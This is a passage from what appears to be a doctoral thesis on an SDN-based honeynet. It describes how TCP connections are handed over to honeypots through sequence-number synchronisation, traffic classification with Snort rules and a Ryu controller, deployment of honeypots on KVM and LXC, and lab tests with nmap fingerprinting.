The first way requires modifying the TCP stack implementation on the honeypot. In this case, the Seq number would not be chosen randomly but will be selected according to some methods, e.g. a hash of the incoming SYN packet, or directly set by the controller through communication. However, this approach has some drawbacks. First, in both cases (1.1 and 1.2), even if the operating system source code is available, it is difficult to modify the TCP stack implementation, as it implies making changes into the operating system kernel code. However, in other cases, e.g. Microsoft Windows operating system, it is not possible as the source code is not available. Besides, in case 1.1, the TCP client (the attacker) could easily notice that the sequence number of the honeypot TCP server is chosen in a deterministic way, making him suspect that he is connecting to a honeypot. Therefore, both solutions require modifying the TCP stack implementation, but in case 1.1 it also has the risk of being detected by the attacker due to the deterministic sequence number behavior. That is the reason why we do not consider this approach to facilitate the TCP redirection.

The second way has two possible solutions. The first one (2.1) consist of having the controller to perform the sequence number synchronization through processing the header information of all the segments, which however will lead to a low performance. This performance problem could be solved by adding a new OpenFlow based switch that perform the synchronization, as the second solution (2.2) proposes. Figure 36 illustrates the design of this approach.

Figure 36. The approach for synchronizing Seq and Ack numbers on data plane

In order to make the approach feasible, two different functions have to be carried out in the system architecture to facilitate the transparent traffic redirection mechanism: the flow classifying forwarder (FCF) to control how the session flows are routed to the controller or honeypots; and the session processing forwarder (SPF) to adapt the TCP sequence numbers once the flows have been redirected. Note that these two functions can be implemented in the same switch or in two separate ones. Hence, each honeypot designed to receive the redirected connection must be equipped a SPF in front of it for the purpose of adapting the TCP sequence numbers.

Having taken into account that performing the sequence number synchronization in the SPF reduces the computational burden of the controller, we prefer the solution 2.2 to facilitate the TCP redirection mechanism.

So, for implementing the transparent TCP connection handover approach based on option 2.2, two SDN based TCP redirection mechanisms are proposed, which are shown in Figure 37 and Figure 38 separately. The first mechanism uses the SDN controller as the frontend to establish the first hand TCP connection with the attacker, while the second mechanism applies a VM (a LIH or MIH) as the frontend to respond the TCP connection request.

As these two mechanisms have the similar working phases of the traffic redirection such as the diagrams show, we describe the SDN based TCP connection hand over based on the first mechanism which works in three phases:

Phase 1: The session between the attacker and the controller is established.

The attacker sends the TCP connection request to the target honeypot. The controller answers the TCP connection request on behalf of the honeypot. We assume that the initial Seq number chosen by the attacker is X, and the one that is chosen by the controller is Y. The three-way handshake will be performed between the attacker and the controller, so formally the TCP connection is established between the attacker and the controller which is using the IP address that the attacker requested and

that will be later used by the honeypot. Thereafter, the Seq and Ack numbers of both the attacker and the controller once the connection has been established are:

Figure 37. SDN based transparent traffic redirection mechanism using controller as frontend (mechanism 1)

$$\text{Attacker: } \text{Seq} = X + 1, \text{Ack} = Y + 1 \quad (1)$$

$$\text{Controller: } \text{Seq} = Y + 1, \text{Ack} = X + 1 \quad (2)$$

During this phase the redirection engine has to: store the SYN packet received from the attacker to be able to replay it later to the honeypot; answer the SYN packet with a SYN_ACK packet; and save its own initial Seq number (Y). Thereafter, when the payload packet from the attacker is sent, the controller saves and inspects it, in order to make a decision whether the connection is worth being redirected to the honeypot or just being discarded. The strategy for decision making will be described later.

Phase 2: TCP session is being transferred from the controller to the honeypot by replaying the initial session segments.

If the controller decides to redirect the connection, it selects a suitable honeypot based on the decision process and instructs the FCF to send the session segments to the honeypot port.

After that, the controller starts to replay the three-way handshake by sending the attacker's SYN packet saved in the first phase to the honeypot. Then the honeypot will respond with a SYN_ACK packet including a randomly chosen Seq number, which we assume is Z. The controller receives the SYN_ACK packet from the honeypot, and then it will perform two actions. The first action is to save the honeypot initial Seq number that is Z, and the second one is to answer the SYN_ACK packet with an ACK packet. Thereafter, the replaying of the three-way handshake between the controller and the honeypot is finished and the TCP connection is now formally established between the attacker and the honeypot.

At this moment, the Seq and Ack numbers of both the controller and the honeypot are:

$$\text{Controller: } \text{Seq} = X + 1, \text{Ack} = Z + 1 \quad (3)$$

$$\text{Honeypot: } \text{Seq} = Z + 1, \text{Ack} = X + 1 \quad (4)$$

The saved payload packet is going to be sent from the controller to the honeypot. However, before sending the payload packet, some actions have to be done for synchronizing the Seq and Ack numbers.

Notice that the honeypot expects to receive the payload packet that has the same Seq and Ack numbers calculated in equation (3). But the preserved payload packet has the Seq and Ack numbers that are calculated in equation (1). It is obvious that the Ack numbers are different in the expressions of equation (1) and (3). In order to synchronize the Ack number, we have to add the D-value to the Ack

number in equation (1). We indicate the difference Ack value is D-Ack, so the D-Ack can be calculated by equation (5):

$$D-Ack = Z - Y \quad (5)$$

So, the first payload packet's Ack number (Y+1) have to be added the D-Ack (Z-Y), and then it will be synchronized into the one (Z+1) that the honeypot expects.

After that, the honeypot acknowledges the payload packet. If we assume that the data length of the payload packet is N, then the ACK packet sent by the honeypot should have the Seq and Ack number calculated as expressed by equation (6):

$$ACK \text{ from Honeypot: } Seq = Z + 1, Ack = X + 1 + N \quad (6)$$

However, the attacker expects to receive the ACK packet from the honeypot with the Seq and Ack numbers as follows:

$$ACK \text{ from Controller: } Seq = Y+1, Ack = X + 1 + N \quad (7)$$

The difference of the two above expressions is the value that has to be added to the Seq number of the segments going to the attacker. We denote the difference Seq value as D-Seq, which can be calculated by equation (8):

$$D-Seq = Y - Z = -D-Ack \quad (8)$$

So, we have to synchronize the Seq number through adding the D-Seq to the Seq number in the segments coming from the honeypot.

Once the D-Ack and D-Seq have been calculated in order to perform sequence numbers synchronization, the SPF has to be set to perform the synchronization function according to those values. An interesting way of performing the sequence number synchronization is by means of a modified OpenFlow switch, as proposed by [157]. That proposal includes a new specific function in OpenFlow switches to facilitate changing the TCP Seq and Ack numbers and some new OpenFlow options to manage it in FlowMod messages. Following this approach, at this point the controller will send a FlowMod message to the SPF to set the flow entry that will perform the synchronization: each packet coming from the honeypot will have the D-Seq added to its Seq number, and each packet going to the honeypot will have the D-Ack added to its Ack number. Finally, the saved payload segment is replayed to the honeypot.

In summary, in this phase: the redirection engine replays the three-way handshake between the controller and the honeypot using the saved SYN packet from the attacker; configures the FCF to send

the segments directly between the attacker and the honeypot; and configures the SPF to modify the sequence numbers.

Phase 3: TCP session has been transferred to honeypot and Seq and Ack numbers are being synchronized.

After phase 2 changes, the system is configured to send the session traffic directly between the attacker and the honeypot, having the SPF doing the necessary sequence number synchronization. Therefore, all the following segments do not need to be forwarded to the controller and can smoothly traverse between the attacker and the honeypot directly. At this point, the attacker would be directly communicating with the honeypot.

The algorithm of the SDN based TCP connection handover used by the controller can be presented as Algorithm 1 in Table 12:

Table 12. Algorithm 2 SDN controller's redirection engine

Require: SDN Controller and switches

SDN Controller Initialisation :

SDN switches are configured

PacketIn Event Loop Process :

{SDN controller waits for PacketIn event}

while PacketIn event **do**

if PacketIn is inbound **then**

if pkt is SYN pkt **then**

if pkt not in sessions {} **then**

 new sessions[pkt.ipv4 src, pkt.tcp src]

end if

 save SYN pkt

 respond with SYN ACK pkt

 save Seq number Y

end if

if pkt is ACK pkt **then**

if pkt has no payload data **then**

 wait for the next pkt

end if

```

if pkt has payload data then
    store payload pkt
    make decision: DROP or REDIRECTION
    if DROP then
        discard the pkt
        end the connection
    end if
    else if REDIRECTION then
        set FCF's out port linking desired honeypot
        {begin TCP connection replaying}
        send the saved SYN pkt to the out port
    end if
end if
end if
else if PacketIn is outbound then
    if pkt is SYN ACK pkt then
        save Seq number Z
        respond with ACK pkt
        calculate D-Ack = Z - Y
        calculate D-Seq = Y - Z
        install flow entries in SPF
        send saved payload pkt to honeypot
    end if
end if
end while

```

Though the two mechanisms both use the TCP replay approach to facilitate the TCP connection handover, they still have several differences. We can compare them by using the following criteria of measurement.

- 1) Fingerprinting: In our first mechanism, the controller takes the role of frontend to answer the TCP connection request received from the attacker. Our approach allows using the controller to simulate fingerprints as Honeyd does in terms of the Nmap's fingerprint

database. For example, calculating the Seq number of the SYN_ACK packets by applying some algorithms to the reference fingerprint. So, it enables to make fake fingerprints to respond to the attacker's fingerprinting request. On the other hand, as the second mechanism uses the VM (a honeypot) as the frontend, so it can respond to the attacker's scan with the real fingerprints.

- 2) VM resource efficiency: The first mechanism uses one VM less since the controller takes the LIH role and the VMs will be used only as backend to process the traffic redirected. On the other hand, the second mechanism must use one additional VM as frontend. So, when the aim is to resist against the attacks such as port scan and SYN flood, the first mechanism is more resource efficient than the second one.

Besides, the action that we have discussed above focuses on the inbound traffic, but can also be applied to the outbound traffic, deciding to redirect or discard honeypot outbound connections as part of the containment mechanisms of the system. The controller allows the decision engine to provide traffic judgment strategy to instruct the redirection engine perform the corresponding action to cope with the traffic.

7.3. Traffic classification approach

The main task of the decision engine is to provide a customizable traffic classification approach. The decision engine can apply a traffic classifier implemented by a set of rules (see Figure 39) that assign a level of interest to each traffic. The user can associate an action (i.e. discard or redirect) to each level of interest.

Figure 39. Traffic classifier for the decision engine

There are several approaches to classify the traffic into different categories. The first approach is called content based filtering mechanism, which consists of using a signature-based NIDS that will

evaluate the traffic to detect malicious payload packets that matches well-known signatures. Following this approach, the user could assign a low interesting category to well-known attack patterns and a high interesting category to the unknown ones. Secondly, the source-destination based approach is also a well-known traffic classification criterion. This approach is based on the definition of different sets of source and destination IP addresses. The user could define, for example, that the traffic from the set-1 of source IP addresses should be filtered and the traffic from the set-2 should be inspected. In addition, some statistic based approaches could be taken into account. For example, we can define a counter-based classification criterion, which only accept one of a certain number of connection requests received, chosen in a fixed or random way.

Furthermore, due to the fact that the answer to which traffic is worth being investigated is subjective and depends on the type of network scenario security researchers want to conduct, the system should allow security researchers to customize the traffic classification strategy. Multiple classification criteria can be applied compositely to specify the traffic interesting for the user. For instance, a security researcher that wants to capture data from a certain IP address and it is attacking a specific vulnerability, so the researcher can apply a criteria combination with the source-destination based approach and the content based approach. Definitely, security researchers could propose other traffic classification approaches to enhance the ability of classification. One example of the correspondence of traffic interesting-level (I-level) with the relevant action can be presented in Table 13.

Table 13. Correspondence of I-level and relevant action

I-level	Criteria (NIDS + Source IP)	Action
Level-0	in category-1	Discard
Level-1	Well-known and in category-2	Redirect to MIH
Level-2	Unknown and in category-2	Redirect to HIH

This correspondence focuses on the NIDS and the source-based approach. If the attack comes from an IP address that does not belong to category-1, the traffic will be discarded. However, if the attack is from an IP address of category-2, the traffic will be classified according to the NIDS and will be redirected into different honeypots. Note that the user can define its own correspondence according to the research requirement. For example, in this case, the interesting Level-0 traffic could be associated to the action of redirecting to HIH, but the interesting Level-2 traffic will be discarded. So, the researcher is responsible to make the traffic filtering rules reasonable based on the experiments that he intends to conduct.

Besides, it is worth mentioning that, although the traffic classification approach mainly applies to the inbound traffic, it could also be used to control the outbound traffic. Frequently, the existence of outbound traffic means that the honeypot has been compromised, because normally honeypots do not generate any traffic. Additionally, the outbound traffic can only be coming from the HIHs, since only the HIHs can be compromised by the attacker. Traditionally, there are two ways to control the outbound traffic from the HIHs. The first way is a containment action, which limits the outbound TCP connections in terms of certain threshold or even discards all outgoing packets. Using the strict containment approach can raise the skilled attacker's suspicion.

One stealthy approach is to redirect the outbound traffic back to some honeypots that will emulate the systems the attacker tries to access. For that purpose, the previously proposed traffic classification approach can also be applied to the outbound traffic. However, this approach would need some more complex functions to be implemented. For example, the system should be able to dynamically deploy the honeypots that will receive the redirected traffic, and the new deployed honeypot would need to be configured to emulate the characteristics of the targeted non-honeypot system (such as the IP address, OS fingerprint, vulnerable services, etc.).

7.4. Conclusion

In this chapter, first, a novel SDN based traffic redirection mechanism is proposed for facilitating the data control functionality. In order to address the identical-fingerprint problem, we propose to use the OpenFlow based switch to classify the flow direction through using different out ports to identify the honeypots which use the identical fingerprint (i.e. the same IP and MAC addresses). For facilitating the TCP connection hand over, we add a new function into the session process forwarder to perform the sequence number synchronization. Second, the traffic classification approach is proposed in order to make decision about which traffic should be redirected on the traffic. The strategy consists of a set of rules that can be customized by the researcher according to certain requirement. The system implementation and experimental results will be presented in the next chapter.

CHAPTER 8. SYSTEM IMPLEMENTATION AND EVALUATION

This chapter mainly focus on presenting the proof-of-concept system implementation and evaluation. Therefore, it consists of two parts. The first part will describe the system that has been implemented to validate the contribution including its architecture, the subsystems and the ways of communication between related components. The second part will describe the experiments made for testing the system, including the experiments examining the system function and performance. Thereafter, the whole system also will be applied to several certain scenarios to illustrate the experimental results in real environment.

8.1. System Implementation

In this section, the proof-of-concept system implementation is presented. For validating the system, we consider implementing the whole system in one physical machine (see Figure 40).

Figure 40. Proof-of-Concept System implementation in one physical machine

The workflow can be summarized as follows:

1. Some previous work that the system administrator must prepare:

a) A configuration of the honeypot scenario needs to be generated by using TIDHL so that the Honeyvers can create the required honeypot scenario;

b) The traffic control rules of Snort also need to be configured in order to set the traffic filtering and redirection mechanism;

c) and the HoneyMagic controller application should be configured as well.

2. The administrator executes the Honeyvers to create the honeypot scenario according to the configuration;

3. The security tools are turned on to monitor the HIH to capture system activity;

4. Snort is launched to listen on the corresponding interface that is linked with the Snort out port of the main OVS;

5. The administrator launches the Ryu controller application to control the data plane and run the whole system.

Note that the order of step 2 and 3 is not strict. However, the Ryu controller has to be launched at the last step in order to avoid any traffic reaching the honeypots till all the system is ready.

Each component of the system will be implemented by using a specialized tool, but our system is not limited to the tools used in this proof-of-concept system implementation. In the future research, other more advanced tools could replace the current tools following the architecture proposed.

As stated, for simplicity reasons, the whole system has been implemented using virtualization technologies over one physical machine. But the architecture proposed support other options like deploying the different components over multiple separate physical machines, e.g. deploying the control plane in one physical machine, using a physical switch with OpenFlow support, and the virtual decoys in other physical machines.

Each component of the system implemented is described in detail in the following subsections.

8.1.1. OpenFlow based switches

The OpenFlow based switches are the most important components in the data plane of SDN architecture. In our design (see Figure 36), the FCF could be a physical or a software switch that supports OpenFlow. We have chosen Open vSwitch (OVS) as the main switch of the system because

it is the simplest solution for testing, as it is a pure software implementation that runs over standard Linux systems and it is implemented inside the Linux kernel, which makes it efficient when processing packets. However, note that the design idea is general and any OpenFlow compliant switch could be used indeed.

However, due to the specific requirement of implementing the Seq and Ack numbers synchronization function in the session processing forwarder (SPF), as it was discussed in CHAPTER 7, we have chosen a different software switch to implement that function. After surveying several software switches, we decided to use Ofsoftswitch13, because it is implemented in the user space that results in the ease of modifying the implementation code. Besides, the Ofsoftswitch13 is open source and can be freely forked from the Github project.

Currently, the Ofsoftswitch13 is capable of handling OpenFlow messages till version 1.3. We have modified the Ofsoftswitch13 to include the additional Seq and Ack synchronization functions. The synchronization functions are achieved through adding a new action based on the SET_FIELD defined by the OpenFlow1.3 standard. These two actions are SET_TCP_ACK_DIFF and SET_TCP_SEQ_DIFF that are used to modify the Ack and Seq numbers respectively. For example, if we install a flow entry in the Ofsoftswitch13 with SET_TCP_SEQ_DIFF with argument 1000 (D-Seq value), incoming TCP connection which matches the flow entry will have its Seq number incremented by 1000 on the outgoing interface. The same action can be performed for the Ack number as well. So, using correctly these new actions we will be able to synchronize the TCP Seq and Ack numbers for the two traffic directions of the TCP session, as required by the TCP redirection mechanism described in CHAPTER 7.

The proposed SDN controller application and modified Ofsoftswitch13 has been uploaded in Github. They can be forked from (<https://github.com/fanwj2010/ofsoftswitch13>) and (<https://github.com/fanwj2010/ryu-honeymagic>) that also includes some simple testing scenarios.

8.1.2. The network data controller

The network data controller is one of the main components in our system and it is aimed to control the traffic flowing to or from the honeypots. In order to implement it, we needed to choose an SDN controller that balances the fulfilment of system requirements and the ease of development needed for a proof-of-concept implementation. Finally, the Ryu SDN controller was selected, because it is an open-source SDN controller, it supports the OpenFlow 1.3, it is well documented and provides an ease to learn interfaces to develop applications. The network data controller has been implemented in the prototype by means of an SDN application running inside the Ryu controller. In

addition, for the traffic redirection mechanism 1, the controller application only provides the function of simulating open ports, but lacks the simulation of operating system and fake service fingerprints, which would need more effort on future developments. So, the adversary using scanning tools such as Nmap can detect the open ports but he will not be able to guess the exact operating system, as we will demonstrate it in the experiment section.

The key effort in the network data controller focuses on the implementation of the traffic control that performs the traffic filtering and redirection. As stated in the system design, we provide two categories of traffic control rules: source-destination based and content based rules. In order to support these traffic classification criteria, we apply the well-known open-source IDS Snort to help us detecting and characterizing the intrusion and take the decision of proceeding with the connection or just discarding it. Snort is a signature-based intrusion detection system aimed to detect malicious traffic patterns that match some well-known attacking signatures.

We use the rule format of Snort as the basis to set our own traffic-control rules. A typical “alert” rule format of snort can be shown as follows:

```
alert protocol source-ip source-port -> destination-ip destination-port (msg: “alert message”; sid: integer number; priority: integer number; content: “malicious pattern”;
```

Thus, an example of Snort NIDS rule can be:

```
alert tcp any any -> 192.168.1.0/24 111 (msg:“external mountd access”)
```

This rule means that any TCP traffic that wants to access the port 111 on the network 192.168.1.0/24 will match this signature, and the Snort will make an alert with the message “external mountd access”. Furthermore, we can also add the suspicious pattern to the rule, e.g.:

```
alert tcp any any -> 192.168.1.0/24 111 (msg:“external mountd access”; content:“|00 01 86 a5|”)
```

Now the signature includes not only the IP header information but also malicious payload pattern. So, Snort will check both the IP header information and the payload data of the captured packet against this signature. If it matches any signature, Snort will also raise the alert and send the associated message. Besides, if there are more than one rule, we can use the “priority” field to set the priority level for every rule and the “sid” field to set the alert ordering.

Therefore, based on the “alert” rule format of Snort, we set our own rule by setting action into the “msg” field. For our own rule, we define three actions: DROP, MIH, HIH. Their definitions are shown in Table 14.

Table 14. Actions for setting rule

Action	Definition
DROP	Discard the traffic
MIH	Forward the traffic to MIH
HIH	Forward the traffic to HIH

To implement the traffic control mechanism, we apply the Snort rules by two steps to carry out both the source-destination based and content based traffic filtering approaches. The workflow of the collaboration between Snort and Ryu controller for making the decision is shown in Figure 41.

Figure 41. Ryu controller's workflow for making decision

In the first step, Ryu controller will read and parse the Snort rules, translate them into flow entries, and install those flow entries into the main OVS switch during the system initialization phase. This step aims to perform a data reduction measure to improve the data capture efficiency. Only the rules with a “DROP” action which do not check the “content” field are translated into “drop” flow entries. Therefore, any traffic that matches these flow entries will be efficiently discarded in the data plane, avoiding them to reach the controller. The other rules will be translated into “allow” flow

entries, and the traffic that matches them will be forwarded as a PacketIn event to the Ryu controller for processing.

In the second step, the Ryu controller will cooperate with Snort to carry out the content based traffic filtering and redirection (see Figure 42).

Figure 42. Snort integrates with Ryu framework

Snort works in NIDS mode so that it can utilize its intrusion detection and alert raising functionality. We use the snortlib, which can be accessed from Ryu SDN framework, to integrate Snort alert function into the controller application. The controller application will send the first payload packet of each session to the Snort port. Snort thereafter will inspect the payload packet, raise an alert, and send the corresponding action as the alert event back to the controller application through a Unix socket. The algorithm of the controller's decision engine can be described as follows:

Table 15. Algorithm 3 SDN controller's decision engine

Input: First Payload pkt

Output: Decision

Decision Making:

if pkt has payload **then**

 Controller sends the payload pkt to Snort

 Snort inspects the pkt

 Snort makes the alert msg

 Snort sends the alert msg back to the controller

end if

The controller will perform reaction according to the alert message. If the alert message is "DROP", the Ryu controller will discard the traffic, ending the connection. However, if the alert message indicates that the traffic has to be forwarded to either an MIH or an HIH, the Ryu controller will continue processing the flow, selecting the corresponding out port that links the the target honeypot and forwarding the packet to it. Meanwhile, the required flow entry will be installed in the main switch to directly send the connection traffic to the honeypot and configure the auxiliary switch to do the TCP sequence number synchronization. Therefore, after the TCP connection has been transferred to the honeypot, Snort does not need to inspect the subsequent packets belonging to this connection.

As previously stated, when the controller has decided to redirect a TCP connection, it will begin to replay the three-way handshake to the corresponding honeypot through the selected out-port, in order to transfer the TCP connection from one end to the other. Meanwhile, the required flow entry will be installed in the main switch to directly send the connection traffic to the honeypot and configure the auxiliary switch to do the TCP sequence number synchronization. Therefore, after the TCP connection has been transferred to the honeypot, Snort does not need to inspect the subsequent packets belonging to this connection.

Note that some malicious activity cannot be detected by only inspecting the first payload packet, but it needs to examine a number of payload packets. For those cases, we can take into account another well-known open-source IDS Bro [67]. Bro is a bit different from Snort. In a way, Bro is both a signature and anomaly-based IDS. Thus, we can use it to detect the unknown malicious traffic patterns instead of inspecting the first payload packet. However, the collaboration of Ryu controller and Bro will need more effort on TCP connection hand over approach, which needs to save more than one payload packets until the decision can be made and later replaying all the saved packets. On the other hand, the fact that caching the traffic and delaying the decision making will also give rise to the attacker's suspicion. So, it is a compromise of the accurate decision and the short latency. We need take more research on it in the future work. At present, our controller application does not implement this approach.

Therefore, users can set arbitrary traffic filtering and redirection criteria based on the rule. For instance, if a security researcher wants to capture data from a certain IP address attacking a specific vulnerability, the probable way is to apply the source-destination based and content based mechanism concurrently, through setting both the fields of the "source-IP" and the "content", meanwhile setting the field of "msg" with MIH or HIH. Another example is that if someone wants to

filter any benevolent traffic and well-known attack, and only allow receiving the most suspicious data, the user just needs to set “DROP” in the field of “msg” to the associate rules.

8.1.3. Honeyvers

A prototype of Honeyvers has been implemented as part of our honeypot system validation environment. Honeyvers is used to integrate and conduct different virtualized deployment tools to create and manage honeypots. The honeypot scenario specifications are described using the TIHDL language in the context of Honeyvers and later are translated into specific ones required by the dedicated tools used to deploy the honeypots. At present, the prototype uses the KVM and LXC technologies as the underlying virtualized infrastructures to deploy the honeypots.

A. Description Transformation

The description transformation is used to translate the scenario specification make by TIHDL in to other concrete scenario specifications for the specific deployment tools. In subsection 6.3.2, we have described the transformation methodology that includes two time domains: 1) the application development time, where the transformation methodology is used to create the executable code and defining the default values of customization information needed to integrate a new deployment platform; 2) and the application use time, where the transformation executable code and customization information are applied to the deployment of a honeynet scenario. The whole transformation progress comprises several steps. For each step, we propose a specific tool to accomplish the task. However, our methodology is not limited to these proposed tools.

In the application development time, the first step is to do a schema conversion if the source is not in XML schema (XSD). For example, as more and more tools switched to JSON for exporting data, there have been several open-source tools that can perform the process of converting JSON to XSD, such as `json2xsd`¹³ and `json2xml`¹⁴. The second step in the application development time is the schema mapping including transformation generation, which can be carried out by using the comprehensive XML toolkit called Stylus Studio¹⁵. We apply its schema mapper functionality to the source schema and the target schema, and employ Stylus Studio which can facilitate a variety of schema mappings despite its deficiency in providing automated mapping. Figure 43 shows a snapshot when we use the tool to make schema mapping manually. The generation of the executable code by using the schema mapper is not a simple task, and will require manual intervention, but once it is made, it can be used permanently.

¹³ <https://github.com/ethlo/json2xsd>

¹⁴ <https://github.com/dragos-cojocari/json2xml>

¹⁵ <http://www.stylusstudio.com/>

Figure 43. Schema mapping example

In the application use time, for the first step – transformation process, we can apply a specific tool called XSLTproc¹⁶ to play the role of interpretation processor, which should be registered as the first function in the transformation module mentioned in the subsection 6.3.3. For the second step, customization process, which is the second function in the transformation module, the process program is developed by us. It is aimed to refine the scenario description by inserting the customization information, which is defined by the application developer in the form of a mapping hash structure. The hash structure is implemented in the configuration file of Honeyvers. A commented example of each section in the configuration file is given in Appendix II. The configuration file includes three sections. The main section is used to define the general parameters where the most important one is the “platform”, which we define it as “hybrid”.

The tool section is used to define the parameters of deployment tool. The parameters defined here will be used in the process of scenario division of the transformation methodology. Different honeypots will be deployed by different deployment tools in terms of the interaction level. We decided that the HIHs are implemented using KVM-based virtual machine, the MIHs are contained using LXC-based virtual machine and LIHs using Honeyd to deploy.

The specification section is used to provide the customization information, such as the hash structure mentioned before. For example, the users can specify some platform related parameters, i.e. define the filesystem named “Windows XP Professional SP2” to the value named “winxp_pro_sp2_kvm.qcow2” that is needed by KVM-based virtual machine. The user can also define the service that should run on the honeypot. For instance, the user can define a LXC-based

¹⁶ <http://xmlsoft.org/XSLT/xsltproc.html>

medium-interaction honeypot to run Dionaea to capture automated malware by setting the parameter “Dionaea” as “/opt/dionaea/dionaea/src/dionaea -r /opt/dionaea”.

B. Generation of file system image

In order to create versatile high-interaction honeypots, we require a rich catalog of honeypot images, covering the different operating systems, versions, services, etc. Besides, as image sizes typically require high resources in terms of storage, it is important for the system to use a technique to allow sharing an image by multiple virtual high-interaction honeypots, in order to avoid having to make a copy of an image for each virtual HIH using it.

So, we consider using copy-on-write technology to process the file system image to address this problem. Copy-on-write (COW), sometimes referred to as implicit sharing or shadowing, is a resource-management technique used in computer programming to efficiently implement a "duplicate" or "copy" operation on modifiable resources. For our HIH file system, the COW will undertake the responsibility in two phases: provision and utilization (see Figure 44).

Figure 44. Copy-On-Write technique is used for generating file systems

The provision phase is used to generate the catalog of the file systems. There are a number of leading configuration management and orchestration tools that can take responsibility of provision, such as the Puppet¹⁷, Chef¹⁸, Ansible¹⁹ and Salt²⁰. We have made preliminary tests to validate this approach by applying the open-source tool Ansible to create some images. Creating a complete catalog of images would imply defining the original images to be used, writing the customization Ansible recipes and executing them in order to create the final images made available to researchers for using them in honeynets.

In the utilization phase, the COW technique is also used to allow multiple virtual HIH to share the same root file system. Additionally, as the honeypot is aimed to capture and collect malicious data, another advantage of using the COW approach is that we reduce the storage requirements needed to save the status of multiple honeypots. In this case, we only have to save the original image and the data in the “difference” files of each honeypot VM filesystem, in order to use them later for data center in-depth analysis.

In addition, several root file systems of honeypots were customized by us for different use cases. Table 16 shows the customized root file systems of honeypots with the functions.

Table 16. The created file systems of honeypots

File system	Installed Software	Function
Roo 1.4 (KVM)	Honeywall	Containment Gateway
WinXP pro sp2 (KVM)	Honeybot	Capture and interact unsolicited traffic
Win7 pro sp1 (KVM)	Cuckoo Sandbox	Automated malware analysis
Ubuntu 11.10 (KVM)	REMnux 5	Reverse-Engineering Malware analysis
Ubuntu 12.10 (LXC)	Dionaea, Amun	Automated attack capture, keystroke record, etc
Ubuntu 8.0 (KVM)	Metasploitable 2	Metasploit framework testing

¹⁷ <https://puppet.com/>

¹⁸ <https://www.chef.io/chef/>

¹⁹ <https://www.ansible.com/>

²⁰ <https://saltstack.com/>

8.2. Functional Experiments

8.2.1. Testing Scenario

In order to test and validate the functionality of the HoneyMagic prototype developed, the testing scenario show in Figure 45 has been prepared.

Figure 45. A testing scenario for the prototype

The testing scenario includes one internal network 10.1.1.1/24 where the honeynet is deployed and one external network 10.1.0.1/24 where the attacker locates, being both networks connected by a router that emulates the Internet. As stated, the same IP addresses 10.1.1.2/24 and MAC address (that is not shown in the Figure) are assigned for both the MIH and HIH to make sure they have an identical fingerprint. Besides, note that the present configuration of the testing scenario is aimed to test the traffic redirection mechanism 2, which uses the MIH as the front-end. When conducting experiments to test the traffic redirection mechanism 1, another OpenFlow switch ofsoftswitch13 will have to be added in front of the MIH for TCP sequence number synchronization.

The objectives of this scenario is to test the basic functionalities of HoneyMagic, which includes conducting the tests of converting the Snort rules into OVS flow entries, service and operating system fingerprinting, the performance of the controller application, the data filtering and the traffic redirection between the honeypot assigned with the same IP and MAC addresses. For the test, the data control configuration shown in Table 17 will be used:

Table 17. Snort rules for data control

```

alert tcp any any -> any 21 (msg:"MIH"; sid:1000002; priority:2;)
alert tcp any any -> 10.1.1.2 22 (msg:"HIH"; sid:1000003; priority:2; content:" SSH")
alert tcp any any -> any 23 (msg:"MIH"; sid:1000004; priority:2;)
alert tcp any any -> any 25 (msg:"MIH"; sid:1000005; priority:2;)
alert tcp any any -> any 80 (msg:"HIH"; sid:1000006; priority:2; content:" GET")
alert tcp any any -> any 139 (msg:"HIH"; sid:1000007; priority:2; content:"|5c 00|P|00|E|00 5c|");
alert tcp any any -> any 445 (msg:"MIH"; sid:1000008; priority:2;)
alert tcp any any -> any any (msg:"DROP"; sid:1000001; priority:0;)

```

The configuration, which is specified using Snort rule format, defines that the system has seven open TCP ports. These rules will be used by the controller application to create the corresponding flow entries in the main OVS that performs the first stage filtering of the system. The flow entries created as a result are shown in Table 18.

Table 18. Flow entries translated from Snort rules installed in the main OVS.

```

OFPST_FLOW reply (OF1.3) (xid=0x2):
cookie=0x0, duration=6698.835s, table=0, n_packets=709, n_bytes=130863, priority=2, tcp,
tp_dst=80 actions=CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=338, n_bytes=30725, priority=2, tcp,
tp_dst=25 actions=CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=363, n_bytes=31793, priority=2, tcp,
tp_dst=21 actions=CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=3, n_bytes=174, priority=2, tcp,
tp_dst=445 actions=CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=3, n_bytes=174, priority=2, tcp,
tp_dst=139 actions=CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=268, n_bytes=24186, priority=2, tcp,
tp_dst=23 actions=CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=10, n_bytes=692, priority=2, tcp,
nw_dst=10.1.1.2, tp_dst=22 actions= CONTROLLER:65535
cookie=0x0, duration=6698.835s, table=0, n_packets=3003, n_bytes=174558, priority=0, tcp
actions=drop

```

Additionally, the configuration is also used by Snort to generate the alerts that will allow the controller to decide which connections have to be redirected to the HIH, or forwarded to the MIH. The rule for redirecting the connection to the HIH should set the content field with a pattern. So, the traffic sent to the open ports will be initially processed by the controller, and in case the payload matches the condition of the rule (content expression) then the controller will start the TCP replay progress and redirect the traffic to the destination according to the Snort alert message. Any other

uninteresting traffic will be filtered by the main OVS in order to perform the data reduction, which can prevent the controller from the traffic congestion.

If we start the whole system with a configuration mentioned above and use traceroute from the attacker's VM to find the routing path to the honeypot IP addresses, the result will be the flowing:

```
traceroute -n 10.1.1.2
traceroute to 10.1.1.2 (10.1.1.2), 30 hops max, 60 byte packets
 1  10.1.0.1  0.088 ms  0.029 ms  0.025 ms
 2  10.1.1.2  8.128 ms  8.021 ms  8.078 ms
```

8.2.2. Fingerprint tests

As stated, using the two traffic redirection mechanisms based controller applications will lead to different fingerprinting results. In this subsection, we briefly describe the tests made to run Nmap 6.40 against 10.1.1.2 IP address (that has been assigned to the honeypot) to detect the fingerprint for comparing the two traffic redirection mechanisms.

By running the command “nmap -sS -Pn -A 10.1.1.2” in the attacker VM, Nmap can detect all the open ports regardless of which redirection mechanism is used. However, in the case of the first mechanism, the attacker cannot get the exact service version used, e.g.:

```
PORT STATE SERVICE VERSION
21/tcp open  ftp?
|_ ftp-bounce: no banner
```

In the contrast, when we use the second mechanism, the attacker can get the exact service version, e.g.:

```
PORT STATE SERVICE VERSION
21/tcp open  ftp vsftpd 2.0.8 or later
|_ ftp-bounce: no banner
```

